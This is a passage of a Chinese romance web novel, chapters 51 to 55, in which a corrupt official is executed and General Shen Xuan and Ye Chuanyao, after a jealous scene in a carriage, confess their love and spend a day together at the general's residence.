“我不过是自作主张,替陛下除掉一个心腹大患,让这京城免了一场厮杀。” “否则等你沈家起兵,不也照样生灵涂炭?” 周印在一旁冷眼看着,眼底怒意昭然。 这些奸人,居然仅凭猜测,就将一代良将视作反贼? 简直滑天下之大稽! 而沈翾却是一如既往的平静。 如今情景,也早就在意料之中。 对于皇帝而言,宁可错杀,不可放过。 他压下心中情绪,想了想,猜测道:“所以你除掉我父亲,借机夺了沈家的兵权,以此才换来大理寺卿之位。” 郑元语气坦然道:“人不为己,天诛地灭。我不过是为自己寻个出路,何错之有?” “我如今落到这步田地,也不过败在当年未能斩草除根!” “不过大将军,”他突然看向沈翾,嘴角笑道,“你也得意不了太久。” “你觉得陛下能容得下你,还是未来的太子能容得下你?” 沈翾笑笑,不置可否。 “郑大人。” “你为陛下做了那么多事,到头来却落得如此下场,就真的甘心吗?” 郑元眼中闪过一丝微不可察的痛楚。 死他一个,保寒儿母子和他全家性命,他不算亏。 “事已至此,你也不必再横加挑拨。” 他看向沈翾,忽而一笑:“就算你什么都知晓,又能如何?” “除非登上那九五至尊之位,否则,你父亲,你沈家那些将士,还有林征一家,他们只能永远背着那些罪名!” “郑元,”周印在一旁愤慨道,“你残害忠良,如今竟还丝毫不知悔过!” 郑元哈哈大笑:“悔过又有何用?悔过还不是一样要死?” 他看向沈翾,意有所指道:“听说你与世子两情相悦?” “大将军,你可要把人看紧了。” “可不是每次都那么走运,都能有人救他。” 沈翾的眼底闪过寒光,俯下身将人拉到面前,嗓音幽沉道:“你敢动他,我要季寒母子的命。” 郑元疯癫般地轻笑几声,兀自躺回地上,不再言语。 二人出了牢房。 周印看向沈翾问:“方才他说的那些话,你怎么想?” “当年之事难道真是陛下授意?” 沈翾边走边道:“八九不离十。他知道我们没有证据,就算有也不能将皇帝如何,所以才肆无忌惮。” “那你打算如何?”周印问。 沈翾眼底沉了沉。 他看向远处无尽夜色,一字一句道:“终有一日,真相会大白于天下,枉死之人会得到平反。” “天理昭然,不会任奸人当道。” 周印若有所思地看着他,想了想,忽然问:“你该不会……真要反吧?” 沈翾转头看向他,一言难尽。 默了默,漫不经心道:“御史大夫还是少操点心,多想想怎么讨公主欢心吧。” 周印笑笑:“那还请大将军帮忙出出主意,毕竟是将军的表妹,总该了解些。” 沈翾嗯了声,大方道:“放心,下次见了公主,我定替你美言几句。” “行,那再替周某问问,公主平日里都喜欢吃什么……” “……” 三日后午时,法场外被围得水泄不通。 南桑和明烛隐于人群中,望着法场上的人。 见南桑眼底泛红,明烛拍了拍他的肩,轻声道:“如今大仇得报,该高兴才是。” “这些年你搜集罪证,也算是亲手将这奸贼送上刑场。” “伯父伯母在天有灵,也可以安息了。” 南桑如释重负地长叹一声。 多年来他隐姓埋名,隐忍蛰伏,背负着仇恨一路走来,如今终于得见天光。 被困在过往里太久,如今一切尘埃落定,也许是时候开始新的生活。 过往已逝,而他还有更重要的事情要做,有更重要的人要守。 他转头看向身旁布满关切的眼睛,笑了笑道:“你说的对,是该高兴。” “走,喝酒去。” “好!” 叶川遥向杨护军告了假,也去了法场。 郑元、杜明轩,他的仇已经报了一半。 如今只差个季寒。 不过来日方长,他不急。 只是不知沈翾现下如何。 大仇得报,沉冤昭雪,他的心里是不是也能好受些了? 叶川遥想了想,顾不上别扭,朝着将军府的方向而去。 刚从人群里挤出来,迎面碰上也正要离开的初一。 “叶公子!”初一笑着唤他。 “原来你也来看热闹!” 叶川遥笑笑,随口道:“刚好路过,就过来瞧一眼。” “既然碰见,那不如去我店里坐坐?”初一道。 “我新酿了一种酒,正好给你尝尝看!” 叶川遥看了看时辰。 这会儿沈翾还未下朝,醉云轩离将军府不远,他去店里等着也好。 遂笑着应道:“那便恭敬不如从命了。” 初一喜笑颜开:“那走吧!” 两人进了醉月轩,依旧靠窗而坐。 叶川瑶一边同初一闲聊,一边不自觉地望向将军府的方向。 初一见他有些心不在焉,并未多问,只替他将酒杯斟满酒。 “来,叶公子,尝尝我新酿的酒。” 叶川遥笑着接过:“多谢。” 他尝了口,思忖着道:“此酒似乎比先前的秋月白更烈些?” 初一点点头,眼眸发亮:“没错,秋月白更甜,此酒更烈,恰好一刚一柔。” 叶川遥面露欣赏,赞叹道:“初一兄果然是酿酒奇才。” 初一笑笑,状似随意道:“听说方才被斩首的郑大人乃六皇子的亲舅父,十分得陛下倚仗。” “怎地说斩首就斩首?” 叶川遥道:“郑元所犯罪行罄竹难书,如今不过自食恶果罢了。” 初一端起酒,叹道:“看来这做官也没什么好处,还是做个平头百姓的好,自由自在!” 隔壁有两位男子经过,瞥见叶川遥在此,上前笑着道:“好巧,竟然在此碰见世子。” 叶川遥笑着起身:“李公子,赵公子,好久不见。” 二人好奇地打量一眼初一,拱手道:“那我们不打扰世子,告辞。” “世子?”初一惊讶出声,“原来叶公子竟是卫国公府的嫡子。” “初一不知世子身份,还请世子见谅。” 叶川遥摆摆手:“你我朋友之间,何需在意这些?” “我叫叶川遥,你唤我阿遥便好。” 初一高兴道:“好,阿遥。” 说完顿了顿,有些难于启齿地轻笑着道: “实不相瞒,初一心悦世子。” “原想着能有一丝机会或可争取,如今却得知我与世子身份悬殊,实在有些心酸。” 叶川遥端着酒杯的动作一顿,茫然地眨眨眼。 啊??? 第52章 叶川遥不知自己的桃花为何总是来得这般莫名其妙。 他与初一不过才见了两三次, 实在谈不上有多深的交情。 就连名字都是今日才让对方知晓。 怎的就心悦他了? 难道只因着他这张脸? 可天下美人那么多,总不能见一个好看的就喜欢吧? 未免也太肤浅了。 而且这京中何时多了如此多的断袖? 一个两个的,难不成今年天有异象, 都开始改好男风了? 总不能全是被他掰弯的吧? 叶川遥将杯中酒饮尽,给自己压了压惊。 咧了咧嘴道:“初兄说笑了。” “你我虽志趣相投,颇为投缘, 但说爱慕实在有些言过其实。” “我视你为友,想必初兄定也是一样的。” 这话的言外之意是, 我对你并没有什么想法, 你也别错把友情当成思慕之情。 初一笑笑,似乎对他的话不以为然。 嗓音带着几分笑意道:“阿遥天人之姿, 又活泼有趣, 我实在欢喜。” “不过无妨, 世子既视我为友, 那我便以友人的身份待在你身旁,如此便心满意足。” 叶川遥:“……” 怎么给台阶还不下呢? 他无奈地笑笑, “你啊……” 初一重新替他倒了酒:“不说这个,咱们喝酒。” “这可是我专门为你酿的!” 叶川遥尴尬一笑, 随即问:“这酒叫什么名字?” 初一目光明亮地看着他:“还没有名字, 不如阿遥帮我想想吧!” 叶川遥仔细思索须臾, 缓缓道:“不如就叫七月红如何?” “七月骄阳,炙烈似火, 就如同这酒一般。” “好名字!”初一惊喜道。 “那今日我便将这七月红赠与世子,祝世子此生如七月耀日, 热烈璀璨!” 对方一片真诚,叶川遥自也以诚相待。 笑着道:“那便谢谢叶兄了。” 两人正说笑着,叶川遥忽觉身旁冷风徐徐。 大夏天的, 不应该啊…… 随即头顶落下一片阴影。 他抬头望去,就见沈翾一脸幽色地看着他,漆黑的眼底晦暗不明。 思念之人突然出现,叶川遥心中不禁漫出欣喜。 但转而又清醒过来,提醒自己绝不可太过殷勤。 他可不是这么好哄的! 于是想了想,语气淡淡地问:“你怎么在这里?” 沈翾阴沉着脸,周身寒气逼人。 朝思暮想之人如今就在眼前,却对着旁人浅笑言言。 他眼底一沉,冷声道:“今日并非休沐,世子又为何在此?” “我同杨护军告了假的。”叶川遥坦然道。 沈翾看着桌案上的两盏酒杯,目光深了深,幽声道:“告假来此饮酒作乐,世子当真好志向。” 叶川遥这回是真气恼了。 几日未见,就非要同他说这些话吗? 他瞪向沈翾,清澈的眼底漫出一层雾气,眼尾都泛起了红。 一时口不择言道:“不劳将军费心。” “我本就胸无大志,只想把日子过舒坦。” 沈翾剑眉微蹙,胸口郁气堆积。 本想开口斥责,却见那双似水的清眸里委屈尽显。 于是喉头一滚,低声道了句:“起来。” 叶川遥紧抿着唇看他:“做什么啊?” 沈翾沉声道:“跟我回去。” 对面的初一不明所以地看向叶川遥,问:“阿遥,这位公子是……” 沈翾闻言冷冷瞥向旁边的人,眼底阴翳愈发明显。 叶川遥顿了顿,面无表情道:“邻家的兄长。” 沈翾:“……” 初一站起身道:“这位兄长,阿遥不想跟你走,你又何必强人所难?” 沈翾转过头,眼神阴鸷地看向他:“与阁下无关。” 初一无所畏惧地看着沈翾,沉着道:“阿遥是我朋友,又来了我醉月轩,在下自然要管。” 沈翾懒得与一个无关之人多费口舌。 他伸手攥紧叶川遥手腕,将人直接拉走。 “哎哎哎你干嘛?” 叶川遥挣了挣,半推半就地跟在沈翾身后,迈着小碎步叽叽喳喳道:“光天化日的,大将军是想掳人吗?” “我告诉你,别仗着你力气大就无法无天,小心我去御史台告你!” “所以你究竟要带我去哪啊?” “……” 沈翾沉默不语,一路将人拉上马车。 叶川遥将身子扭向一旁,绷着脸不看他。 沈翾冷眸微眯,须臾后气息沉了沉,嗓音低沉道:“世子与谁来往我本无意干涉。” “但初一此人身份成谜,疑点颇多,冒然接近必有蹊跷,不得不防。” “你查了他?”叶川遥高声质问道,“他是我的朋友,你凭什么查他?” “我同谁来往,和谁交朋友,又同将军有何干系?” 沈翾眼底幽深一片,仿佛藏着惊涛骇浪。 叶川遥的话让他压抑许久的躁郁终于破土而出。 整个人快要被嫉妒掩埋。 他看向身旁,刚劲有力的手臂倏地将人一把带到身前,压在软榻之上。 宽大的手掌扣住叶川遥柔软的掌心,手指因为用力而泛起青筋。 突如其来的动作让叶川遥措手不及,惊魂未定地看着头顶之人,睫毛轻颤着。 “你,你干什么?” “说不过就动手算什么英雄?” 沈翾的眼底一片幽深,黑白分明间藏着几分戾气。 虽极力克制,呼吸却还是急促明显。 这样的沈翾让叶川遥感到陌生。 他不自觉地挣了挣手腕,嗓音微颤道:“沈翾,你先放开我,有话好好说嘛……” 未说完的话淹没在喉间。 沈翾毫不犹豫地俯身压上去,双唇紧贴,呼吸凌乱。 贪婪地汲取着思念之人的气息,仿佛只有如此,心才能被填满。 叶川遥瞪着眼,简直不敢相信这是刻板冷静的沈翾能干出来的事。 强吻也就罢了,这可是在马车上! 车窗还开着呢! 不怕别人瞧见吗? 难不成终于大仇得报,多年重担一朝卸下,所以…… 疯啦?! 不过他并未胡思乱想多久,便从最初的惊诧、僵硬,到后来全身如脱力一般,双手虚垂着,最后不由自主地缓缓闭上眼。 耳畔只余彼此急促的呼吸声。 叶川遥的反应让沈翾身上的躁郁终于散了几分,心底一片熨帖。 他渐渐放轻了动作,在那甜美的唇间流连辗转,极尽缠绵。 十指交叠,掌心相贴,生出无尽缱绻。 叶川遥的脑袋里一片空白,只剩惊雷在耳边炸开,迸发出明亮的霞光。 他曾无数次想象过同沈翾亲吻的场景,可依然浑身冒着热气,仿佛手脚都不是自己的。 只能被动地随着对方沉沦。 没想到大将军平日克己复礼,亲人的时候倒是一点儿也不客气。 无师自通到让他招架不住。 许久后,沈翾缓缓抬头,慢慢平复着眼底的惊涛骇浪。 叶川遥轻轻睁开眼,粉红的眼尾氤氲着水汽,呼吸轻颤道:“沈怀清,你,你这是…什么意思啊?” 沈翾平复着呼吸,嗓音低沉道:“阿遥,我心悦你,你心里……可有我?” 叶川遥轻轻抿了抿唇,视线落在沈翾微微颤动的喉结上,声音有些委屈。 “我若心里没有你,又怎会一听你受伤,便千里迢迢地去陵川寻你?” “还死皮赖脸地赖在你府上,赶都不肯走……” 柔软的嗓音让沈翾的心底一热,无奈轻笑:“都说了不是赶你。” 叶川遥哼了声,将脸扭向一旁:“若非我装病,你早就让人把我送走了。” “终于承认是装的了?” 叶川遥不以为意:“本来也没想骗过你。” 沈翾目光深邃地看着他,眼底一片温柔。 略带粗糙的拇指在白皙的掌心摩挲而过,柔声问:“既装病不想走,又为何不告而别?” 叶川遥顿了顿,低声道:“你看不清自己的心,我也不能总是热脸贴冷屁股。” 沈翾苦笑一声,低头在他唇角又落下一吻,柔声道:“是我不好,不该让你难受。” 他看着叶川遥,神色认真道:“阿遥,我从未对一个人动过心。” “不管你心里曾经有过谁,从今往后,我想让你只看着我一个人。” “想你的心里,只有我。” 叶川遥抬头看他,见那双如清潭般深邃的眼底溢满柔光。 他的影子映在其中,两相交叠,极尽缠绵。 他嫣然一笑,一字一顿道:“阿遥的心里,只有你一个。” “翾哥哥,我喜欢你。” “只喜欢你。 ” 从前世到今生,从年少到成人。 他的心里,始终都只有他沈翾一个人。 两世牵绊,如今终于得偿所愿,实乃幸甚。 沈翾的呼吸再次凌乱,低下头缓缓靠近。 这一次他吻得极轻,一寸一寸描绘着那甜美,如对待稀世珍宝般小心翼翼。 呼吸缠绵间,叶川遥轻轻弯了弯嘴角。 大功告成! 第53章 车辙声还在吱吱嘎嘎循环往复。微风自窗棂间轻跃而入, 扬起发梢几缕。 七月的天热得肆意。 这风来得正及时,堪堪将一脸滚烫的叶川遥从快要冒烟的险地里解救出来。 免去了一场羽化登仙。 良久之后,唇瓣缓缓分开。 叶川遥的眼底染上几分情动。 原本就好看的桃花眼这会儿更是亮得晃眼, 带着一丝迷离,愈发动人。 沈翾抬起头,目光幽深地在身下的人脸上慢慢扫过。 自那水波流转的黑眸缓缓向下, 最后停在还沾着水汽的唇上。 微微一顿后,他抬手将叶川遥脸颊的碎发轻轻拨开。 指腹落在耳尖之下, 似还有些意犹未尽。 叶川遥被亲得七荤八素, 沈翾随便一个动作都让他情难自抑,无力招架。 这会儿被沈翾如此盯着, 他恍然生出下一瞬就要被拆骨入腹的错觉。 他第一次与人做如此亲密之事。 方才双唇紧贴, 唇舌被搅得火辣辣一片。 但因瞧不见对方的脸, 倒并不觉得如何。 这会儿视线相触, 难免生出几分不自在来。 手还被紧紧攥着,叶川遥勾了勾手指, 将头微微侧向一旁。 红着脸道:“将军你……有点沉。” “能先起来吗?” 马车颠簸,再这么压下去, 怕是要闹出笑话了。 青天白日的, 又在大街上, 多尴尬…… 沈翾这才缓缓起身,长臂一捞, 揽着背将身旁之人扶起。 而后抬手拂了拂衣摆,端坐一旁。 叶川遥坐起来, 将身前的长发向后甩了甩。 微微侧眸,朝着身旁看去。 只见沈翾一脸端方、面无波澜,好似方才那个霸道强势、攻城略地之人不是他一般。 端的一个云淡风轻。 变脸变得倒是极快。 察觉到他的视线, 沈翾转头看向他,轻轻一笑:“为何这样盯着我看?” 叶川遥歪了歪头,看着他若有所思道:“从前听闻大将军冷面獠牙,吓人得很。” “那时只觉得流言无稽,甚是荒谬。” “今日看来,传言也并非全是杜撰。” 沈翾默默思忖着他的话,沉默一瞬后,有些茫然地问:“世子的意思……” “可是嫌我生得丑?” 语气里是浓浓的疑惑。 叶川遥噗嗤一乐:“哎呀没有,怎么可能?” “只是你方才那个样子,属实有些吓人。” 沈翾将身旁的手握住,捏了捏柔软的掌心,剑眉微蹙:“吓到了?” “那倒没有,”叶川遥弯唇一笑,“哪那么容易被吓到?” “就是觉着……有些意外。” 他压了压嗓音,低声嘀咕:“平日里看着那么正经,没想到却是个顶孟浪的……” 沈翾勾了勾嘴角,手上微微收紧,嗓音带笑道:“隐忍太久,情不自禁罢了。” “还请世子见谅。” 叶川遥的心里又一阵轻颤,心底被浓浓的热意包裹着。 没想到这禁欲淡漠之人突然说起情话来,竟让人毫无抵抗之力。 他略显羞稔地弯唇一笑,看向窗外热闹的街面。 觉得日子从未像今日这般畅快。 思慕了许多年的人,如今可是他的了! 二人并肩而坐,掌心交叠,一时谁都未再开口。 默默无言却胜过千言万语。 须臾后,叶川遥忽然想起什么,眼睛亮了亮,凑到沈翾面前,歪着头问:“不过将军,你刚刚……是在吃醋吗?” 沈翾看向他,并未否认,只是语气里带了几分幽怨。 叹声道:“牛鬼蛇神,让人头疼。” “……” 叶川遥不禁失笑,打趣道:“大将军,人家只是同我喝个酒,你干嘛如此草木皆兵?” “再说了,管旁人如何,左右我心里只有将军一个,这不就行了?” 这话让沈翾的心里十分熨帖。 他看向身旁笑意盈盈的人,柔声问:“今日究竟为何独自回城?” 叶川遥回握住手上的掌心,慢声道:“也没什么,就是去法场瞧了眼。” “还有些担心你,想去府上找你。” “嗯,”沈翾情绪不明地哼了一声,漫不经心道,“担心我,所以跑去同旁人饮酒?” 叶川遥:“……” “没有,”他笑着解释,“我在法场外面碰见初一,想着你还没下朝,就干脆先去醉月轩坐着等你。” “才聊了没几句,你就来啦!” 他说着凑到沈翾耳边,轻轻道:“翾哥哥,你莫不是有千里眼,一直偷偷盯着我呢?” 沈翾轻笑一声,转头对向那双亮如星辰的眼睛。 呼吸近在咫尺,只要略一低头,便能唇瓣相贴。 沈翾后背一阵酥麻,呼吸一沉。 眼底却漫出柔软笑意。 嗯了声道:“所以以后安分些,别让我到处抓人。” “……” “哦,”叶川遥转回头,满不在意道:“那要看你表现喽!” “你若对本少爷好,让我高兴,我自然安分。” “如若不然,那可就说不好了……” 沈翾思忖着点点头,倾过身子往前压了压,嗓音里带着一丝蛊惑:“那世子说说……” “我该如何做,才能让世子高兴?” “……” 叶川遥单手撑在身后,心跳轰鸣。 耳尖热着道:“你,你自己想……” “行,”沈翾直起身,端正道,“那我好好想想。” 叶川遥被他弄得不上不下,浑身一阵燥热。 他愤愤地瞪了眼身旁若无其事的人,顿了顿问:“你今日还好吗?” “如今大仇得报,心里可好受些了?” 今日几名死刑犯的罪行公布,叶川遥得知前尘往事,只觉忿恨难当。 如此奸佞,千刀万剐都为不过! 沈翾目光微微一动,沉默一瞬,缓缓道:“大仇得报……” “为时尚早。” 叶川遥微微一怔:“这是何意?” “难道郑元背后还另有其人?” 沈翾默不作声,并不想把他牵扯进来。 如今此案与皇家牵扯,凶险更甚从前。 他想了想,道:“此前在京郊行刺你的死士,便是郑家的人。” “但此举是郑元自作主张,还是季寒母子的授意,尚未可知。” “世子往后需格外小心。” “郑家?”叶川遥闻言吃了一惊,“我与郑家无冤无仇,郑元为何要杀我?” 沈翾心中隐隐有个猜测,道:“郑元不惜动用培养多年的死士,想是因为世子挡了他们的路,不得不将世子除掉。” “可世子并非身在朝中,因此定与朝政无关。” “那便只有一个可能。” 他看向叶川遥,眼神意味不明。 叶川遥不明所以,疑惑问道:“什么可能?” 沈翾沉了口气,缓缓道:“因为季寒。” “季寒?”叶川遥一时想不出个所以然。 “你是说……要杀我的人,是季寒吗?” 沈翾摇摇头:“未必是他。” “也可能是他做了什么,让郑元觉得,你的存在会威胁到季寒的太子之位。” 叶川遥闻言愣了愣,匪夷所思道:“我一个游手好闲之辈,还能影响到一个皇子夺位?” “他们未免也太瞧得起我了吧?” 他若真有这个本事,那干脆自己去做皇帝好不好? 还轮得到他们几个在这里你争我夺吗? 沈翾意味深长地看向他,未再多言,只道:“总之小心为上。” 叶川遥点点头:“知道了,我会小心的。” 他说完突然笑了笑,冲沈翾道:“如此说来,将军也算是为我报了仇了!” “我该如何报答将军?” 沈翾笑着看他,想了想道:“世子照顾好自己,便是对沈某的报答了。” 叶川遥闻言弯了弯嘴角,眉眼都染上一层笑意。 揶揄道:“从前怎么没发现,将军说话这么好听?” “得仙人指点了?” 沈翾笑笑,道:“因材施教,无师自通。” “不过说起仙人,世子从前说自己曾受仙人点化,可洞察未来。” “如今可还灵验?” “啊?”叶川遥愣了愣,回想了片刻才记起自己此前确实说过这话。 大脑飞快转了转,一本正经道:“哦!我这个神力吧,它其实时有时无,我也说不好。” “可能也要看仙人……高不高兴?” 沈翾忍俊不禁,心中虽有疑虑却并未往下追问。 路途不远,说话间马车终于行至将军府门口。 叶川遥同沈翾下了车,两人一起进了府。 院中侍卫见了他微微一惊,随即向两人恭敬行礼。 明烛从前厅出来,大步迎上前,吃惊道:“阿遥,你怎么来了?” 叶川遥笑道:“怎么,不欢迎吗?” “哪儿的话?”明烛大声道,“将军府就是你的家,你想来自然随时可以过来!” “你说是吧?将军!” 沈翾懒懒看他一眼,轻轻嗯了声。 见两人神情和乐,并无芥蒂,明烛也跟着高兴。 “走吧,去用午膳。” “阿遥,你今日可有口福了!” “厨房刚做了你爱吃的羊肉羹,早上现宰的肥羊,可鲜着呢!” “真的?”叶川遥顿时两眼冒光,“那我今日可得多吃点,早就馋这个了!” 说完加快步子,便径直朝着屋内而去。 沈翾和明烛跟在后面。 明烛转头低声问身旁的人:“这是都说开了?” 沈翾并未回答,嘴角的笑意却不言而喻。 明烛笑着撇撇嘴。 啧,瞧把他美得… 第54章 叶川遥率先踏进屋内, 才瞧见南桑也在。 南桑迎上前,朝叶川遥颔了颔首:“世子,又见面了。” “南桑公子。”叶川遥笑着点点头。 沈翾和明烛紧跟着进门, 几人围桌而坐。 叶川遥有些日子不曾同沈翾和明烛一同用饭。这会儿到了一起,话自然多了起来。 加上南桑也在,更是热闹。 一桌子人其乐融融, 宛若一家。 明烛给叶川遥盛了碗羊肉羹,放在他前面。 “尝尝看, 还是不是以前的味道?” 叶川遥接过尝了口, 直赞叹道:“好鲜啊,和从前的味道一样!” “果然还是将军府的小厨房做得羊肉羹最好!” “怎么样, 是不是很想念?”明烛笑着问。 “嗯!” 这话着实戳到了叶川遥的心窝子。 他点点头, 忍不住吐起苦水:“刚去营中的时候, 饭菜吃不惯。” “晚上做梦都是醉蟹油虾牛乳糕的, 可把我馋坏了!” “后来慢慢习惯了才好些,不过还是很想念府里的吃食。” 明烛笑笑:“那多吃点。” 军中餐食简单, 叶川遥在中军大营这些日子清减了些,原本骨肉匀停的身材如今看上去略有些纤细。 沈翾看在眼里, 虽未说什么, 但到底还是有些心疼。 暗自在心里盘算着, 得想法子把人好好养回来才是。 他抬手给叶川遥夹了菜,一边放进他面前的碟子里, 一边漫不经心道: “若喜欢,往后休沐便都回府里来, 到时候让厨房多做些你爱吃的。” 回府…… 叶川遥默默在心里重复着这两个字,心底漫出一丝甜意。 这偌大的将军府,如今也有他的一席之地了。 他眉眼柔和地看一眼沈翾, 弯起嘴角应下:“好!” “那我可就不客气了啊,到时若把你这将军府给吃穷了,将军可不许怪我!” 沈翾轻笑一下,语气自然道:“我这府上虽不算富庶,但养你一个,还是养得起的。” 叶川遥没想到他会说出这话来。 当着明烛和南桑的面,饶是他脸皮再厚,也实在做不到面不改色。 他耳尖一红,低头嘀咕道:“谁要你养了……” 明烛和南桑心照不宣地笑笑,好在没有跟着打趣他。 之前见南桑身手不凡,叶川遥很是钦佩。 他只知南桑是沈翾的人,却不知他具体是何身份。 但又不好过多打探,便只问道:“不知南公子师承何人?武艺竟这般厉害!” 南桑笑笑:“世子不必客气,叫我南桑便好。” “我并未曾拜过师,少时随父亲习武,后来得将军指点,又加以勤学苦练,才有了些底子。” “若非要说师承何人,那也唯有将军可称得上是南桑的师父了。” “原来如此,”叶川遥闻言点点头,看向沈翾,嗓音轻快道,“将军此前也指点过我,如此说来,也算是我的半个师父了?” 沈翾意味不明地看他一眼:“那不知世子近日武艺可有精进?” 叶川遥挑了挑眉,毫不畏惧道:“将军得空同我切磋切磋,不就知道了?” 顺便还能抱一下,摸个手什么的…… 沈翾笑笑:“好,那我倒要看看,世子到底长进了多少。” 叶川遥胸有成竹:“将军尽管放马过来!” 用完午膳,几人去了祠堂。 今日奸人伏法,自然该向几位先辈报个喜才是。 四人一起给老将军和将军夫人上了香,恭敬拜过。 叶川遥看着面前挨在一起的牌位,心里感概万千。 将军,夫人,仇人已死,愿两位在天之灵也能安息。 你们的儿子如今已经长成了顶天立地的大英雄,同你们一样,守万里疆土,护国泰民安。 你们放心,以后有阿遥陪着他,断不会让他再孤身一人,独守寒夜。 从此相扶相守,死生不弃。 他在心中将想道之言默默说完,这才留意到祠堂里赫然多了几个排位。 林征…… 是前户部侍郎? 南桑执香朝林征的排位恭敬地鞠了三躬,缓缓将香插进香炉。 虽并未言语,眼底却藏着明显的痛楚。 明烛拍了拍他的肩,道:“放心,有我们在,必不会任奸人当道。” “来日方长。早晚有一天,那些犯恶之人都会得到该有的惩罚。” 叶川遥抿了抿唇,心中惊讶不已。 竟是如此。 原来南桑就是当年那个假死的林家小少爷。 可那时沈翾不过也才十七,他是如何躲过朝廷的耳目,将人救出来的? 他侧眸看向沈翾,心中涌上一丝心疼。 原来那时他不但背负着愧疚和仇恨,还在那样无人可依的情形下,救下了林家唯一的血脉。 这些年他们几个暗中查探,步步为营,又耗费了多少心血? 叶川遥心里酸楚,但并未开口探究什么,只随着几人一起给林大人一家上了香。 几人从祠堂里出来,明烛和南桑说还有公务要处理,便先行离开。 只剩下叶川遥和沈翾。 沈翾看着人道:“要回云水阁歇息片刻吗?” 叶川遥看了看日头,见时辰还尚早,不急着回军中,便点头应下。 “嗯,好…” 两人慢步回了云水阁。 池中莲花开得正盛,粉白相间,甚是清雅。 碧女云画见到叶川遥吃了一惊,上前笑着道:“世子回来了!” “奴婢依着将军的吩咐,日日看着人打扫这院中,从未染上一丝灰尘。” “不管世子何时回来,都可随时住下!” 叶川遥笑笑,眉目温和道:“辛苦各位了。” 云画莞尔退下。 叶川遥踏进房中,环视一圈后坐在榻上,看着沈翾轻声道:“我又不在府里,何必还让人日日打扫?” 沈翾在桌前坐下,倒了杯茶,漫不经心道:“这不就回来了?” 叶川遥笑笑:“那……就多谢将军啦。” 他说完想了想,看着沈翾问:“将军,我能问你一件事吗?” 沈翾嗯了声:“何事?” “当年你是如何救下南桑的?”叶川遥问。 沈翾将茶盏放下,缓缓道:“那时我带着父亲的骸骨回京不久,便听闻林大人一家被判斩首。” “我当时觉得事有蹊跷,便托人去刑部大牢,让南桑假装自尽,将人换了出来。” “他在府里养好伤,我安排他去了别处,从此隐姓埋名。” 叶川遥思忖着点点头。 沈翾虽三言两语说得云淡风轻,但想要从刑部眼皮子底下将人偷梁换柱,事后又无人发现,定颇费了一番功夫。 他走到沈翾身旁,将手轻轻搭在他肩上,柔声道:“将军这些年辛苦了。” “林大人泉下有知,定对将军感激不尽。” 沈翾回握住他的手,顿了顿,忽而问:“阿遥,那日你说,有后悔的事。” “是什么?” 叶川遥微微一怔。 随即笑着道:“都是过去的事了。如今一切都好,早就没有什么遗憾了。” 沈翾眼底闪过不明情绪,见叶川遥不愿意多提,他便不再多问。 日暮渐渐西沉。 互通心意的第一天,叶川遥虽有些依依不舍,但还是不得不回军营去。 他捏着沈翾的手,低着头闷声道:“天快黑了,我该…回去了。” 见他一副不舍的模样,沈翾心里也跟着一软,喉结轻轻滚了滚。 沉声开口道:“不如今晚就留下,明日一早,我送你回去。” 叶川遥纠结了片刻,轻轻应了声:“也好。” 他确实不想现在就跟他分开。 傍晚,两人在院中闲坐小酌。 树上的桃子已微微泛白,再过些日子便该熟了。 叶川遥不禁想起那日醉酒的场景。 忽地弯唇笑起来。 沈翾不明所以:“怎么了?” “没什么,”叶川遥摇摇头,望着天道,“月色真好啊!” 如此良辰美景,做些风月之事可最合适不过了。 他转了转眼珠,决定故技重施。 “来将军,我敬你!” 叶川遥给沈翾倒了酒,举起手中的杯子道:“这第一杯,敬将军这些年的辛劳!” “我替大盛百姓谢过将军,谢过将士们!” 说完仰头一饮而尽。 沈翾眼底漫出笑意,也跟着干了。 小少爷有兴致,他自然奉陪。 “这第二杯,敬天下忠义之士,终有一天,会还我大盛海晏河清!” “慢点喝,”沈翾无奈轻声道,“时辰还早,喝这么急做什么? 叶川遥咧嘴笑笑。 “这第三杯嘛,”他将脸往前凑了凑,“敬你和我。” “从此两心相印,不负相思。” 沈翾出神地看着面前的人。 那明眸似水,浅笑如天上月,却触手可及。 “好。” 他柔声应下,心底的爱意如春江潮水,肆意滋长。 “这第四杯……” 沈翾终是忍不住低头轻笑。 小少爷才华横溢,若不加阻止,怕是会一直灌他到天亮。 他按住正要举杯的手,眉眼浅笑,循循善诱道:“世子想要什么,不妨直说,不必如此大费周章。” 沈翾的眼神太过灼热。 叶川遥吞了吞唾沫,故作懵懂道:“将军在说什么,我想要什么啊?” 沈翾笑笑,并未答话。 下一瞬便倾身上前,捏起叶川遥的下巴,低头便吻了上去。 叶川遥不由自主地闭上眼,下颌微微扬了扬。 开了荤的男人果然不一样。 这么会的吗? 两人在朗朗月色下唇角相依,肆意亲吻。 夜色醉人,人亦自醉。 许久后,沈翾将人放开,勾着嘴角意有所指地问:“可满意了?” 叶川遥摸了摸快要着火的耳尖,轻咳一声,哼道:“还行,凑合……” “高兴吗?”沈翾又问。 叶川遥红了脸,嘟囔道:“将军,旁人做这种事都是只意会,不言传的!” “哪有人直接问的啊?” “哦,”沈翾若有所思地点点头,“可若不问,我又如何知道你喜不喜欢?” “若不喜欢,那我沈翾岂不成了流氓?” “……” 叶川遥张了张嘴,一张脸红得快要滴血。 含糊地道了句:“喜欢!” “怎么可能不喜欢……” 沈翾笑着牵他的手,柔声道:“喜欢就好。” 说完又跟了句。 “我也喜欢。” 第55章 月明星稀, 苍穹浩瀚,月下之人翩影成双。 对于突然开窍的沈翾,叶川遥虽感到有些许陌生, 但到底还是欢喜的。 他喜欢这样深情的他。 好似那双深邃的眼中唯容得下他一人。 明日还要回军中,想要的便宜也已经占到了。 叶川遥不再贪杯,依依不舍地同沈翾分别, 回了自己房中歇息。 熟悉的床榻,熟悉的安神香。 心里是从未有过的甜蜜和安定。 第二天清晨, 叶川遥早早起了床, 打算尽早返回营中。 甜蜜乡再好,也不能误了正业不是。 沈翾替他准备了许多点心果子, 光是食盒就装了好几个, 好似生怕他在军中饿着。 叶川遥不禁失笑:“将军, 你怎么跟我爹似的?” “嗯?”沈翾蹙眉看过去。 叶川遥捏起颗蜜饯塞进嘴里, 鼓着腮帮子含糊道:“幼时去亲戚家,我爹也是这样大包小裹, 给我准备了许多零嘴。” “生怕我路上饿着……” “可我如今是去参军的,又不是串亲戚。” “若被你那些将士们瞧见你这个样子, 该怎么想你?” 他走到沈翾面前, 仰着脸笑着揶揄道:“大将军, 面子不要了?” 沈翾无所谓地笑笑,看着他柔声道:“比起面子, 我更在意你。” “……” 又来? 叶川遥压了压扑通扑通的心跳。 他也不知自己究竟是怎么了,从前明明都是他在言语撩拨。 